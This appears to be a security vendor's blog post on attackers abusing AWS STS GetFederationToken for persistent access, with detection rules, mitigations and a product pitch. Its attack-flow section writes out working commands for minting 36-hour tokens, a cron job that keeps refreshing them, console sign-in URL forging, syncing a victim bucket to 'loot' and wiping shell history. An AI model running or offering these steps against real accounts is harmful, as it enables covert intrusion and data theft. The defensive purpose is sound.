Introduction
Throughout 2025, incident-response teams across finance, healthcare, and tech uncovered a growing pattern: adversaries no longer rely on stealing long-lived AWS access keys. Instead, they exploit AWS Security Token Service (STS) GetFederationToken to mint short-lived, high-privilege credentials whenever they need them. These tokens appear in CloudTrail as legitimate FederatedUser sessions and can persist for up to 36 hours, giving attackers resilient shadow access that often survives password resets, key rotations, and even full account suspension.
What is a federated user?
An AWS federated user is not a permanent IAM identity stored in your account. Instead, it is a temporary security principal that AWS Security Token Service (STS) creates when someone calls GetFederationToken, or other federation APIs such as AssumeRoleWithSAML or AssumeRoleWithWebIdentity. The call returns a short-lived AccessKeyId/ SecretAccessKey/ SessionToken trio plus an ARN that looks like:
arn:aws:sts::<account-id>:federated-user/<SessionName>
Federation APIs explained:
GetFederationToken - The original STS method for minting temporary credentials. It hands any named principal up to 36 hours of scoped-down keys, designed for on-prem portals that never created IAM users. Because many environments still allow it “for backward compatibility,” a single API call can spawn quiet FederatedUser sessions that blend into the crowd.
AssumeRoleWithSAML - This call exchanges a SAML assertion from an enterprise IdP (Okta, Azure AD, AD FS) for AWS keys. It powers “click-to-console” logins for corporate staff, but if an adversary can forge or replay that signed assertion (“Golden SAML”), they bypass passwords, MFA, and every IAM policy guardrail in one shot.
AssumeRoleWithWebIdentity - AssumeRoleWithWebIdentity trades an OAuth/OIDC token, think Cognito, Google Sign-In, or the JWT that a Kubernetes pod gets via IRSA for AWS credentials. Steal or spoof that token and the attacker inherits whatever role trust the mobile app or pod was granted, often with privileges far beyond its sandbox.
The Purpose of Federated Users in AWS
Federated users are designed to provide temporary, short-lived access to AWS resources without the need to create dedicated IAM users for each external entity. This approach is especially valuable when integrating external identity providers, such as SAML-based single sign-on (SSO) solutions, OIDC providers like Google or Auth0, or even custom-built identity brokers. It also enables organizations to grant access to third-party vendors, contractors, or on-premises systems in a secure and controlled way.
The primary advantage of federation is scalability and reduced operational overhead. Instead of managing long-term IAM credentials for every user or system, access is dynamically granted through trusted identity assertions. This not only improves security by eliminating the risks of leaked or forgotten static credentials but also streamlines identity lifecycle management across complex cloud environments.
How does the STS federation work?
AWS STS is a “token vending machine”, an external app (on-prem, CI/CD, partner) calls GetFederationToken, passing:
- name - label for CloudTrail
- optional policy - extra session guardrails
- duration - 15 min to 36 h (defaults to 12 h)
If the caller is authorized, STS returns a temporary AccessKeyId / SecretAccessKey / SessionToken that acts as a FederatedUser. These keys work in the SDK, CLI, or console sign-in URL yet expire automatically, so there’s no account to create, rotate, or delete. All actions still hit CloudTrail, giving auditability without lingering IAM users or roles.
Why Detecting Federated Abuse Is So Difficult
Federated identities never live in the IAM console, they are spun up on-demand via SAML/OIDC and vanish after their short STS session expires. In CloudTrail, they appear only as generic FederatedUser entries, often lacking the session tags that would reveal who or what created them. At scale, that anonymity lets malicious traffic blend with legitimate logins. Unless you enrich logs, tag sessions, and baseline behavior, an attacker armed with a federated token can operate quietly while analysts focus on long-lived IAM users.
Attack flow example
1.) Gain a Foothold
- Phish an IAM user, scrape a CI/CD secret, or find a key on GitHub that already allows sts:GetFederationToken.
- Verify the key works: aws sts get-caller-identity
2.) Confirm Federation Capability - Check that at least one attached policy grants sts:GetFederationToken.
aws iam list-policies --scope Local
3.) Mint the Shadow Token - AWS returns an AccessKeyId, SecretAccessKey, and SessionToken valid for up to 36 hours.
aws sts get-federation-token \
--name {Name}\
--duration-seconds 129600 \ # 36 h (maximum)
--policy file://scope-down.json # often skipped in real attacks
Example scope-down.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::company-reporting/*"
}
]
}
4.) Persist & Pivot
# Export creds
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Typical abuse
aws s3 ls
aws ec2 describe-snapshots
aws secretsmanager get-secret-value ...
Keep the door open with a cron job that refreshes the token every six hours:
0 */6 * * * aws sts get-federation-token --name ShadowOps ... \
| jq -r '"export AWS_ACCESS_KEY_ID=\(.Credentials.AccessKeyId)\nexport AWS_SECRET_ACCESS_KEY=\(.Credentials.SecretAccessKey)\nexport AWS_SESSION_TOKEN=\(.Credentials.SessionToken)"' \
> /tmp/shadow_creds && source /tmp/shadow_creds
5.) Hide in Plain Sight
A temporary STS credential can be converted into a normal AWS Console login. Because the session is created through the AWS federation endpoint, CloudTrail records all subsequent activity under the generic identity type FederatedUser, concealing the original compromised principal.
Step-by-Step Workflow:
Save the STS credentials to a JSON file:
cat > /tmp/session.json <<'EOF'
{
"sessionId": "<AccessKeyId>",
"sessionKey": "<SecretAccessKey>",
"sessionToken": "<SessionToken>"
}
EOF
Request a one-time SigninToken (valid ~15 min):
SESSION=$(jq -s -R -r @uri < /tmp/session.json)
SIGNIN_TOKEN=$(curl -s \
"https://signin.aws.amazon.com/federation?Action=getSigninToken&Session=$SESSION" |
jq -r '.SigninToken')
Build the login URL that lands on the AWS Console home:
DEST=$(python - <<'PY' , import urllib.parse, sys , print(urllib.parse.quote("https://console.aws.amazon.com/")), PY)
LOGIN_URL="https://signin.aws.amazon.com/federation?Action=login&Issuer=ShadowOps&Destination=${DEST}&SigninToken=${SIGNIN_TOKEN}"
echo "$LOGIN_URL"
Open the Console (Linux/macOS):
xdg-open "$LOGIN_URL" 2>/dev/null || open "$LOGIN_URL"
What Investigators See in CloudTrail:
"userIdentity": {
"type": "FederatedUser",
"principalId": "ShadowOps:ABCDEFGHIJKL123456",
"sessionContext": {
"sessionIssuer": { "type": "FederatedUser", "userName": "ShadowOps" },
...
}
}
No IAM user name or role ARN is present, only a temporary FederatedUser ARN, so the activity blends in with legitimate federation traffic.
Exfiltrate & Clean Up
aws s3 sync s3://victim-data ./loot
history -c # wipe local shell history
# Let the session expire naturally
Can Federated Users Be Used for Privilege Escalation?
Yes, privilege escalation is not only possible, it's a well-known risk when federated access is poorly controlled. If a federated user is granted the ability to call sts:AssumeRole on roles with higher privileges, they can effectively move laterally across the environment by assuming one role after another. Each "hop" gives them broader access, and without strict boundaries in place, they can eventually reach a role with full administrative permissions.
This threat becomes even more serious when session policies, identity-based permissions, or trust policies are too permissive. For example, a trust policy might allow any federated identity from a certain domain to assume roles without validating attributes like session tags, IP ranges, or external IDs. In such cases, attackers can exploit these gaps to escalate privileges quietly and operate under the guise of a temporary user.
Because federated roles are often used in large-scale environments and third-party integrations, organizations may underestimate the complexity of managing the trust boundaries, making it a ripe target for attackers who know how to abuse these weak links.
Detecting Shadow Access
- Continuously Monitor GetFederationToken Events
Parse CloudTrail for eventName = "GetFederationToken". This simple filter isolates every federation request, providing the raw data you need for baselining and anomaly detection. - Alert on Excessive Session Durations - Temporary federation sessions longer than 12 hours (43.200 seconds) are rarely necessary in production. Create a rule that raises a high-severity alert whenever requestParameters.durationSeconds > 43200. A single outlier is often an early sign of credential misuse.
- Correlate Session Context - Enrich every GetFederationToken event with expected owner, source IP range, and business purpose. Alarms that also flag a mismatched source IP, unusual AWS Region, or missing session tags reduce false positives and shorten triage time.
Mitigation and Rapid Response
- Remove unused federation permissions - strip sts:GetFederationToken from every IAM policy, then deny the action outright with an SCP in production accounts, this eliminates unnecessary attack surface
- Constrain legitimate tokens - when federation is truly required, attach an inline session policy that limits actions and resources, this keeps temporary credentials from wandering outside their intended scope
- Apply conditional access: enforce context keys such as aws:TokenIssueTime or aws:PrincipalTag, blocking tokens older than a few hours from invoking sensitive APIs, this stops stale credentials from being reused
- Harden your CI/CD pipelines: replace static access keys with OIDC-based role assumption, build systems get short-lived credentials automatically, federation rights are no longer needed
Conclusion
GetFederationToken is a powerful and legitimate AWS feature designed to provide temporary credentials for users or systems that authenticate through external identity providers. It enables secure, short-term access to AWS resources without relying on long-lived IAM users. However, this same feature can become a dangerous weapon in the hands of an adversary.
Once compromised, an attacker can misuse GetFederationToken to create temporary identities that are difficult to trace, enabling stealthy access to sensitive resources, also known as shadow access. To prevent this from turning into a full-scale data breach, organizations should adopt several mitigation strategies:
- Remove unnecessary federation permissions to minimize the attack surface.
- Shorten session durations so temporary credentials expire quickly and reduce the window of opportunity.
- Monitor for anomalies, such as first-time use of federation from a user, unusually long session lifetimes, or tokens being used from unexpected IP addresses or regions.
Cyngular Security's CIRA Platform
To further secure your cloud environment, consider integrating Cyngular Security's CIRA platform. It enhances your security posture by providing advanced investigation and response capabilities, enabling your team to address threats swiftly and effectively. By adopting Cyngular Security's CIRA, you empower your organization with proactive and automated security measures that protect your cloud assets.
Get a Free Breach Assessment
Protect your cybersecurity infrastructure with a complimentary breach assessment from Cyngular:
- Safe and Non-disruptive: Conducted with read-only access to ensure no operational disruption.
- Easy Setup: Integrates seamlessly with your existing SIEM systems.
- Deep Insights: Empowers your cybersecurity strategy with advanced threat hunting and proactive investigation capabilities.
Request your free Proof-of-Value today and lead the way in cybersecurity innovation with Cyngular.
